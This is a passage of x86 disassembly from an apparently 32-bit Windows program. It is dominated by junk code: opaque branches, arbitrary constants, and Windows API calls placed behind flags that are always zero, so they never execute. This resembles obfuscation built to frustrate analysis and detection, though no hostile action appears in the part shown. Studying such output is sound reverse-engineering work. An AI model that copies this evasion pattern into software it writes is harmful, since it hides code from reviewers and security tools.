mov dword [ebp - 0x21c4], 0xfffffff8
mov dword [ebp - 0x5a8], 0
jmp 0x46ea26
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 1
jge 0x46ea45
push dword [ebp - 0x5a8]
lea ecx, [ebp - 0x27b8]
call fcn.0042ed1e
and dword [eax], 0
jmp 0x46ea19
mov eax, dword [ebp - 0x9cc]
inc eax
mov dword [ebp - 0x9cc], eax
mov eax, dword [ebp - 0x9cc]
mov dword [ebp - 0x1624], eax
mov eax, dword [ebp - 0x470]
add eax, dword [ebp - 0x470]
cmp eax, dword [ebp - 0x1624]
jge 0x46ea7e
mov dword [ebp - 0x1d4c], 1
jmp 0x46ea85
and dword [ebp - 0x1d4c], 0
mov eax, dword [ebp - 0x21c4]
cmp dword [ebp - 0x2054], eax
je 0x46ea9f
mov dword [ebp - 0x162c], 1
jmp 0x46eaa6
and dword [ebp - 0x162c], 0
mov eax, dword [ebp - 0x1d4c]
sub eax, dword [ebp - 0x162c]
mov dword [ebp - 0x1a3c], eax
push 0
lea ecx, [ebp - 0x27b8]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1a3c]
mov dword [eax], ecx
cmp dword [ebp - 0x1a3c], 0xfffffff7
jne 0x46eae2
mov dword [ebp - 0x1634], 1
jmp 0x46eae9
and dword [ebp - 0x1634], 0
mov eax, dword [ebp - 0x470]
cmp eax, dword [ebp - 0x1634]
jle 0x46eb03
mov dword [ebp - 0x1c44], 1
jmp 0x46eb0a
and dword [ebp - 0x1c44], 0
mov eax, dword [ebp - 0x1a44]
imul eax, dword [ebp - 0x1c44]
cmp eax, dword [ebp - 0x470]
jl 0x46eb2b
mov dword [ebp - 0x163c], 1
jmp 0x46eb32
and dword [ebp - 0x163c], 0
mov eax, dword [ebp - 0x163c]
mov dword [ebp - 0x1a44], eax
cmp dword [ebp - 0x470], 0
jne 0x46eb59
mov eax, 0xb38b
test eax, eax
jne 0x46eb59
and dword [ebp - 0x1644], 0
jmp 0x46eb63
mov dword [ebp - 0x1644], 1
mov eax, dword [ebp - 0x1644]
mov dword [ebp - 0x232c], eax
lea ecx, [ebp - 0x27b8]
call fcn.0042ed02
mov dword [ebp - 0x28d4], 0xfffffffb
mov dword [ebp - 0x5b8], 0xffffffff
mov dword [ebp - 0x5d0], 0xa11c1574
mov dword [ebp - 0x5b0], 0
jmp 0x46ebb1
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 1
jge 0x46ebcd
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x2df4], 0x72d76715
jmp 0x46eba4
mov dword [ebp - 0x5b8], 0
jmp 0x46ebe6
mov eax, dword [ebp - 0x5b8]
dec eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0xffffffef
jg 0x46ecfb
mov dword [ebp - 0x5c0], 0
mov dword [ebp - 0x28dc], 0xbedcc590
mov dword [ebp - 0x5c0], 0
jmp 0x46ec20
mov eax, dword [ebp - 0x5c0]
dec eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0xffffffe3
je 0x46ecf6
push 1
lea ecx, [ebp - 0x2794]
call fcn.0042ec30
mov dword [ebp - 0x5c8], 0
jmp 0x46ec53
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x46ec75
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0x2794]
call fcn.0042ed1e
mov dword [eax], 0x7308
jmp 0x46ec46
push 0
lea ecx, [ebp - 0x2794]
call fcn.0042ed1e
mov dword [ebp - 0x1e24], eax
mov eax, dword [ebp - 0x1e24]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1e24]
mov dword [ecx], eax
mov dword [ebp - 0x5d0], 0
jmp 0x46ecb2
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 0
jg 0x46ece6
mov byte [ebp - 0x326], 0
movzx eax, byte [ebp - 0x326]
test eax, eax
je 0x46ece4
push 0x2246
push 0
push 0xcf7
push 0x159b
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
jmp 0x46eca5
lea ecx, [ebp - 0x2794]
call fcn.0042ed02
jmp 0x46ec13
jmp 0x46ebd9
mov dword [ebp - 0x2b98], 0x817bb5c0
mov dword [ebp - 0x98], 1
push 2
lea ecx, [ebp - 0x2474]
call fcn.0042ec30
mov dword [ebp - 0x5e0], 0xffffffff
mov dword [ebp - 0x206c], 0xae734f1
mov dword [ebp - 0x158], 0
jmp 0x46ed49
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x46ed6b
push dword [ebp - 0x158]
lea ecx, [ebp - 0x2474]
call fcn.0042ed1e
mov dword [eax], 1
jmp 0x46ed3c
mov dword [ebp - 0x158], 0
jmp 0x46ed84
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 3
jge 0x46eda0
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x2698], 0xffffffff
jmp 0x46ed77
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x98], 0
jmp 0x46edc6
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jg 0x46f0d6
mov dword [ebp - 0xbc], 0xa137b189
mov dword [ebp - 0x5d8], 0xb382e580
mov dword [ebp - 0xbc], 1
jmp 0x46ee00
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x46ef4c
mov dword [ebp - 0x205c], 2
push dword [ebp - 0x98]
lea ecx, [ebp - 0x2474]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x46ef09
cmp dword [ebp - 0xbc], 0xfd
je 0x46ee49
mov dword [ebp - 0x164c], 1
jmp 0x46ee50
and dword [ebp - 0x164c], 0
cmp dword [ebp - 0x164c], 0x61fc2da8
je 0x46ee6e
mov eax, 0x9689
test eax, eax
jne 0x46ee6e
and dword [ebp - 0x1a4c], 0
jmp 0x46ee78
mov dword [ebp - 0x1a4c], 1
mov eax, dword [ebp - 0x205c]
cmp dword [ebp - 0x1a4c], eax
jge 0x46ee92
mov dword [ebp - 0x1654], 1
jmp 0x46ee99
and dword [ebp - 0x1654], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x1654], eax
jge 0x46eeb3
mov dword [ebp - 0x21cc], 1
jmp 0x46eeba
and dword [ebp - 0x21cc], 0
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x28e4], eax
cmp dword [ebp - 0xbc], 1
je 0x46eedb
mov dword [ebp - 0x1c4c], 1
jmp 0x46eee2
and dword [ebp - 0x1c4c], 0
push dword [ebp - 0x98]
lea ecx, [ebp - 0x2474]
call fcn.0042ed1e
mov eax, dword [eax]
sub eax, dword [ebp - 0x1c4c]
je 0x46ef09
mov dword [ebp - 0x165c], 1
jmp 0x46ef10
and dword [ebp - 0x165c], 0
cmp dword [ebp - 0x165c], 0xe92e3f91
jb 0x46ef28
mov dword [ebp - 0x1a54], 1
jmp 0x46ef2f
and dword [ebp - 0x1a54], 0
mov eax, dword [ebp - 0x1a54]
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e0], eax
jmp 0x46edf3
mov eax, 0xffff
test eax, eax
je 0x46f08f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2698]
cmp dword [ebp - 0xbc], eax
jle 0x46ef7a
mov dword [ebp - 0x1a5c], 1
jmp 0x46ef81
and dword [ebp - 0x1a5c], 0
cmp dword [ebp - 0xbc], 0x1576
je 0x46efa2
mov eax, 0xf08a
test eax, eax
je 0x46efa2
mov dword [ebp - 0x1664], 1
jmp 0x46efa9
and dword [ebp - 0x1664], 0
mov eax, dword [ebp - 0x5e0]
cmp dword [ebp - 0x1664], eax
jge 0x46efc3
mov dword [ebp - 0x1d54], 1
jmp 0x46efca
and dword [ebp - 0x1d54], 0
mov eax, dword [ebp - 0x5d8]
cmp dword [ebp - 0x1d54], eax
jl 0x46efe4
mov dword [ebp - 0x166c], 1
jmp 0x46efeb
and dword [ebp - 0x166c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2698]
cmp eax, dword [ebp - 0x166c]
jne 0x46f00c
mov dword [ebp - 0x1674], 1
jmp 0x46f013
and dword [ebp - 0x1674], 0
mov eax, dword [ebp - 0x1a5c]
cmp eax, dword [ebp - 0x1674]
jl 0x46f02d
mov dword [ebp - 0x1c54], 1
jmp 0x46f034
and dword [ebp - 0x1c54], 0
mov eax, dword [ebp - 0x1c54]
sub eax, 0x40cc74bf
sub eax, dword [ebp - 0x5d8]
je 0x46f065
cmp dword [ebp - 0x98], 0
je 0x46f065
cmp dword [ebp - 0x5e0], 0
je 0x46f065
mov dword [ebp - 0x2064], 1
jmp 0x46f06c
and dword [ebp - 0x2064], 0
or eax, 0xffffffff
je 0x46f08f
cmp dword [ebp - 0xbc], 0
je 0x46f08f
mov eax, 0x287
test eax, eax
je 0x46f08f
mov dword [ebp - 0x167c], 1
jmp 0x46f096
and dword [ebp - 0x167c], 0
cmp dword [ebp - 0x167c], 0xfffffff9
jb 0x46f0ab
mov dword [ebp - 0x2284], 1
jmp 0x46f0b2
and dword [ebp - 0x2284], 0
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x2d6c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x206c]
mov dword [ebp + eax - 0x2698], ecx
jmp 0x46edb9
lea ecx, [ebp - 0x2474]
call fcn.0042ed02
mov dword [ebp - 0x28ec], 1
mov dword [ebp - 0x2ba0], 1
mov dword [ebp - 0x28f4], 1
mov dword [ebp - 0x2e84], 0x50bf34fd
mov dword [ebp - 0x28fc], 0
mov dword [ebp - 0x2508], 0
mov dword [ebp - 0x2504], 0
mov dword [ebp - 0x2500], 0
mov dword [ebp - 0x24fc], 0
mov dword [ebp - 0x2ba8], 8
mov dword [ebp - 0x5e8], 0
jmp 0x46f15e
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 2
jge 0x46f17a
mov eax, dword [ebp - 0x5e8]
mov dword [ebp + eax*4 - 0x2fdc], 0x68876942
jmp 0x46f151
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2508]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2508], eax
mov byte [ebp - 0x28d], 0
movzx eax, byte [ebp - 0x28d]
test eax, eax
je 0x46f1b6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
mov dword [ebp - 0x2e44], 0x8fd5f396
mov dword [ebp - 0x2e40], 0x8fd5f396
mov dword [ebp - 0x2e3c], 0x8fd5f396
mov dword [ebp - 0x2e38], 0x8fd5f396
mov dword [ebp - 0x14d0], 0x7236c342
mov dword [ebp - 0x5f0], 0
jmp 0x46f201
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 1
jge 0x46f21d
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x2904], 0
jmp 0x46f1f4
mov byte [ebp - 0x327], 0
movzx eax, byte [ebp - 0x327]
test eax, eax
je 0x46f261
push 0x33e
push 0x20d6
push 0x1e82
push 0x8f9
push 0x86
push 0x1fd5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
mov byte [ebp - 0x295], 0
movzx eax, byte [ebp - 0x295]
test eax, eax
je 0x46f27d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 1
lea ecx, [ebp - 0x1ed4]
call fcn.0042ec30
mov dword [ebp - 0x1a8], 0
jmp 0x46f2a3
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x46f2bf
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x2d74], 0xa8e
jmp 0x46f296
mov dword [ebp - 0x1a8], 0
jmp 0x46f2d8
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x46f2fa
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x1ed4]
call fcn.0042ed1e
mov dword [eax], 2
jmp 0x46f2cb
push 0
lea ecx, [ebp - 0x1ed4]
call fcn.0042ed1e
and dword [eax], 0
jmp 0x46f330
push 0
lea ecx, [ebp - 0x1ed4]
call fcn.0042ed1e
mov dword [ebp - 0x1a64], eax
mov eax, dword [ebp - 0x1a64]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1a64]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1ed4]
call fcn.0042ed1e
cmp dword [eax], 0
jg 0x46f35e
mov byte [ebp - 0x329], 0
movzx eax, byte [ebp - 0x329]
test eax, eax
je 0x46f35c
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
jmp 0x46f30c
push 0
lea ecx, [ebp - 0x1ed4]
call fcn.0042ed1e
mov dword [eax], 0x7dd68876
lea ecx, [ebp - 0x1ed4]
call fcn.0042ed02
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xb0c], 0
jmp 0x46f3aa
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xb0c], 0xffffffe5
jne 0x4733bb
mov dword [ebp - 0x478], 0xffffffff
cmp dword [ebp - 0x478], 0
je 0x46f3f7
mov byte [ebp - 0x29d], 0
movzx eax, byte [ebp - 0x29d]
test eax, eax
je 0x46f3f5
push 0x1bf2
push 0x197a
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x46f46a
mov dword [ebp - 0x5f8], 0
jmp 0x46f410
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 3
jge 0x46f42c
mov eax, dword [ebp - 0x5f8]
mov dword [ebp + eax*4 - 0x3014], 0xabecba2a
jmp 0x46f403
mov dword [ebp - 0x478], 0
jmp 0x46f445
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 2
jg 0x46f46a
mov byte [ebp - 0x32b], 0
movzx eax, byte [ebp - 0x32b]
test eax, eax
je 0x46f468
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x46f438
mov dword [ebp - 0x3cc], 0x24f84b81
mov dword [ebp - 0xfc], 8
push 2
lea ecx, [ebp - 0x2414]
call fcn.0042ec30
mov dword [ebp - 0x610], 5
mov dword [ebp - 0x3b4], 6
mov dword [ebp - 0x9a4], 0xb4e94f93
mov dword [ebp - 0x238c], 1
mov dword [ebp - 0x207c], 0xfffffff8
mov dword [ebp - 0x600], 0
jmp 0x46f4d6
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 2
jge 0x46f4f8
push dword [ebp - 0x600]
lea ecx, [ebp - 0x2414]
call fcn.0042ed1e
mov dword [eax], 0x23ed15de
jmp 0x46f4c9
push 0
lea ecx, [ebp - 0x2414]
call fcn.0042ed1e
mov dword [eax], 0x18d58162
mov eax, 0x18d58162
sub eax, dword [ebp - 0x610]
cmp eax, dword [ebp - 0x3b4]
jne 0x46f52a
mov dword [ebp - 0x1e2c], 1
jmp 0x46f531
and dword [ebp - 0x1e2c], 0
cmp dword [ebp - 0x610], 0
jne 0x46f54a
push 5
pop eax
test eax, eax
jne 0x46f54a
and dword [ebp - 0x1684], 0
jmp 0x46f554
mov dword [ebp - 0x1684], 1
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x9a4]
cmp eax, dword [ebp - 0x1684]
jge 0x46f57a
mov dword [ebp - 0x168c], 1
jmp 0x46f581
and dword [ebp - 0x168c], 0
mov eax, dword [ebp - 0x1e2c]
cmp eax, dword [ebp - 0x168c]
je 0x46f62b
mov eax, 0xb5486b6f
test eax, eax
je 0x46f62b
mov dword [ebp - 0x21d4], 0xffffffff
mov dword [ebp - 0x2074], 0x85f88e10
mov dword [ebp - 0x608], 0
jmp 0x46f5cd
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 3
jge 0x46f5e9
mov eax, dword [ebp - 0x608]
mov dword [ebp + eax*4 - 0x2f4c], 0xffffffff
jmp 0x46f5c0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x21d4]
mov dword [ebp + eax - 0x2f4c], ecx
mov eax, dword [ebp - 0x9a4]
cmp dword [ebp - 0x610], eax
jg 0x46f616
mov dword [ebp - 0x1a6c], 1
jmp 0x46f61d
and dword [ebp - 0x1a6c], 0
mov eax, dword [ebp - 0x1a6c]
mov dword [ebp - 0x2074], eax
jmp 0x46f67a
mov dword [ebp - 0x21dc], 0xfffffff6
cmp dword [ebp - 0x238c], 0
je 0x46f64b
push 0
lea ecx, [ebp - 0x2414]
call fcn.0042ed1e
cmp dword [ebp - 0x207c], 8
jg 0x46f660
mov dword [ebp - 0x1694], 1
jmp 0x46f667
and dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x610]
imul eax, dword [ebp - 0x1694]
mov dword [ebp - 0x21dc], eax
mov dword [ebp - 0x3b4], 0xfffffffe
jmp 0x46f693
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x3a
jge 0x46f6b3
mov dword [ebp - 0x2084], 0xfffc
cmp dword [ebp - 0x2084], 0
je 0x46f6b1
jmp 0x46f6b3
jmp 0x46f686
lea ecx, [ebp - 0x2414]
call fcn.0042ed02
mov dword [ebp - 0x6c8], 0xfffffff8
mov dword [ebp - 0x228c], 0
mov dword [ebp - 0x290c], 0xfffffff7
mov dword [ebp - 0x208c], 0x13a473eb
mov dword [ebp - 0x1c5c], 0xffffffff
mov dword [ebp - 0x2bb0], 1
mov dword [ebp - 0x618], 0
jmp 0x46f713
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 1
jge 0x46f72f
mov eax, dword [ebp - 0x618]
mov dword [ebp + eax*4 - 0x2914], 0xa9831117
jmp 0x46f706
mov eax, dword [ebp - 0x1c5c]
dec eax
mov dword [ebp - 0x1c5c], eax
mov eax, dword [ebp - 0x228c]
mov dword [ebp - 0x208c], eax
mov dword [ebp - 0x4d0], 0xffffffff
mov dword [ebp - 0x1c4], 0x24a8c6a5
mov dword [ebp - 0x21e4], 0xd7540573
mov dword [ebp - 0x2094], 0xafc1da7b
mov dword [ebp - 0x1c4], 0
jmp 0x46f789
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xffffffeb
jge 0x46f8ba
mov dword [ebp - 0x628], 0xfffffffd
mov dword [ebp - 0x620], 0
jmp 0x46f7b9
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 1
jge 0x46f7d5
mov eax, dword [ebp - 0x620]
mov dword [ebp + eax*4 - 0x2dfc], 0
jmp 0x46f7ac
mov dword [ebp - 0x628], 0
jmp 0x46f7ee
mov eax, dword [ebp - 0x628]
dec eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jl 0x46f8b5
mov dword [ebp - 0x630], 0x629aa810
mov dword [ebp - 0x630], 0
jmp 0x46f81e
mov eax, dword [ebp - 0x630]
dec eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
jl 0x46f8b0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x480], 0
jmp 0x46f84e
mov eax, dword [ebp - 0x480]
dec eax
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0
jl 0x46f8ab
cmp dword [ebp - 0x480], 0
je 0x46f87c
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x46f87a
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x46f8a9
mov byte [ebp - 0x32d], 0
movzx eax, byte [ebp - 0x32d]
test eax, eax
je 0x46f8a9
push 0x9bb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
jmp 0x46f841
jmp 0x46f811
jmp 0x46f7e1
jmp 0x46f77c
mov dword [ebp - 0x1c4], 0
jmp 0x46f8d3
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xffffffef
jg 0x46f8f3
mov dword [ebp - 0x21e4], 0x328a062b
cmp dword [ebp - 0x2094], 0
je 0x46f8f1
jmp 0x46f8c6
jmp 0x46f8c6
push 2
lea ecx, [ebp - 0x2cd4]
call fcn.0042ec30
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x169c], 1
mov dword [ebp - 0x1a74], 0
mov dword [ebp - 0x638], 0xfffffff8
mov dword [ebp - 0x27d8], 0xffffffff
mov dword [ebp - 0x27d4], 0xffffffff
mov dword [ebp - 0x27d0], 0xffffffff
mov dword [ebp - 0x27cc], 0xffffffff
mov dword [ebp - 0x488], 0xd
jmp 0x46f969
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0x1b
jl 0x46fa5f
push 1
lea ecx, [ebp - 0x2650]
call fcn.0042ec30
mov dword [ebp - 0x52c], 0
jmp 0x46f99c
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 1
jge 0x46f9bb
push dword [ebp - 0x52c]
lea ecx, [ebp - 0x2650]
call fcn.0042ed1e
or dword [eax], 0xffffffff
jmp 0x46f98f
mov eax, 0xe1b6
test eax, eax
je 0x46f9f1
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x169c], eax
mov eax, dword [ebp - 0x169c]
mov dword [ebp - 0x1a74], eax
cmp dword [ebp - 0x1a74], 0
je 0x46f9f1
mov dword [ebp - 0x233c], 1
jmp 0x46f9f8
and dword [ebp - 0x233c], 0
mov dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x291c], eax
cmp dword [ebp - 0x638], 0
jne 0x46fa29
cmp dword [ebp - 0x638], 0
jne 0x46fa29
and dword [ebp - 0x209c], 0
jmp 0x46fa33
mov dword [ebp - 0x209c], 1
push 0
lea ecx, [ebp - 0x2650]
call fcn.0042ed1e
push 4
pop ecx
shl ecx, 0
mov eax, dword [eax]
mov dword [ebp + ecx - 0x27d8], eax
lea ecx, [ebp - 0x2650]
call fcn.0042ed02
jmp 0x46f95c
mov dword [ebp - 0x2bb8], 4
mov dword [ebp - 0x16a4], 0xbaf43b7c
mov dword [ebp - 0x2cc], 0xd8da8e97
mov dword [ebp - 0x648], 7
mov dword [ebp - 0x2924], 0xfffffff6
mov dword [ebp - 0x640], 0
jmp 0x46faaa
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 4
jge 0x46fac6
mov eax, dword [ebp - 0x640]
mov dword [ebp + eax*4 - 0x2e58], 0xb963ab19
jmp 0x46fa9d
mov eax, dword [ebp - 0x16a4]
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 0x16a4]
mov dword [ebp - 0x2d7c], eax
cmp dword [ebp - 0x648], 0
jne 0x46faf3
mov dword [ebp - 0x1d5c], 1
jmp 0x46fafa
and dword [ebp - 0x1d5c], 0
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0x1d5c], eax
je 0x46fb14
mov dword [ebp - 0x16ac], 1
jmp 0x46fb1b
and dword [ebp - 0x16ac], 0
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0x16ac], eax
je 0x46fb35
mov dword [ebp - 0x16b4], 1
jmp 0x46fb3c
and dword [ebp - 0x16b4], 0
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x1a7c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1a7c]
mov dword [ebp + eax - 0x2e58], ecx
mov eax, dword [ebp - 0x1a7c]
cmp eax, dword [ebp - 0x16b4]
jle 0x46fb75
mov dword [ebp - 0x1c64], 1
jmp 0x46fb7c
and dword [ebp - 0x1c64], 0
mov eax, dword [ebp - 0x648]
add eax, dword [ebp - 0x1c64]
jne 0x46fba2
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2e58], 0
jne 0x46fba2
and dword [ebp - 0x16bc], 0
jmp 0x46fbac
mov dword [ebp - 0x16bc], 1
mov eax, dword [ebp - 0x648]
cmp dword [ebp - 0x16bc], eax
jl 0x46fbc6
mov dword [ebp - 0x21ec], 1
jmp 0x46fbcd
and dword [ebp - 0x21ec], 0
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x292c], eax
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x2bc0], eax
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x2934], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2e58], 0x8d3c891c
jb 0x46fc10
mov dword [ebp - 0x1a84], 1
jmp 0x46fc17
and dword [ebp - 0x1a84], 0
mov eax, dword [ebp - 0x1a84]
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x164], 8
mov dword [ebp - 0x20ac], 2
mov dword [ebp - 0x164], 4
jmp 0x46fc50
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xfffffff2
jne 0x46fe8d
mov dword [ebp - 0x1cc], 6
mov dword [ebp - 0x650], 0
jmp 0x46fc80
mov eax, dword [ebp - 0x650]
inc eax
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], 1
jge 0x46fc9c
mov eax, dword [ebp - 0x650]
mov dword [ebp + eax*4 - 0x2ed0], 0x51d69f42
jmp 0x46fc73
mov dword [ebp - 0x1cc], 0
jmp 0x46fcb5
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jg 0x46fe50
mov dword [ebp - 0x3bc], 0x629aa810
mov dword [ebp - 0x20a4], 0xe3f9150f
mov dword [ebp - 0x3bc], 0
jmp 0x46fcef
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0
jg 0x46fe4b
push 2
lea ecx, [ebp - 0x26b0]
call fcn.0042ec30
mov dword [ebp - 0x16c4], 0x168aa2d3
mov dword [ebp - 0x184], 0
jmp 0x46fd2c
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jge 0x46fd48
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x9d4], 1
jmp 0x46fd1f
mov dword [ebp - 0x184], 0
jmp 0x46fd61
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jge 0x46fd83
push dword [ebp - 0x184]
lea ecx, [ebp - 0x26b0]
call fcn.0042ed1e
mov dword [eax], 0x7110e6b6
jmp 0x46fd54
push 1
lea ecx, [ebp - 0x26b0]
call fcn.0042ed1e
and dword [eax], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9d4]
mov dword [ebp - 0x16c4], eax
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x16c4], eax
jl 0x46fdc0
mov dword [ebp - 0x1e00], 1
jmp 0x46fdc7
and dword [ebp - 0x1e00], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x1e00]
add edx, 0x55a4
imul ecx, edx
cmp dword [ebp + eax - 0x9d4], ecx
jle 0x46fe07
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9d4], 0
je 0x46fe07
mov dword [ebp - 0x16cc], 1
jmp 0x46fe0e
and dword [ebp - 0x16cc], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x16cc], eax
jl 0x46fe28
mov dword [ebp - 0x1a8c], 1
jmp 0x46fe2f
and dword [ebp - 0x1a8c], 0
mov eax, dword [ebp - 0x1a8c]
mov dword [ebp - 0x20a4], eax
lea ecx, [ebp - 0x26b0]
call fcn.0042ed02
jmp 0x46fce2
jmp 0x46fca8
mov dword [ebp - 0x1cc], 0
jmp 0x46fe69
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jg 0x46fe88
mov dword [ebp - 0x229c], 6
mov dword [ebp - 0x229c], 0x25739271
jmp 0x46fe5c
jmp 0x46fc43
mov dword [ebp - 0x164], 0
jmp 0x46fea6
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xffffffe4
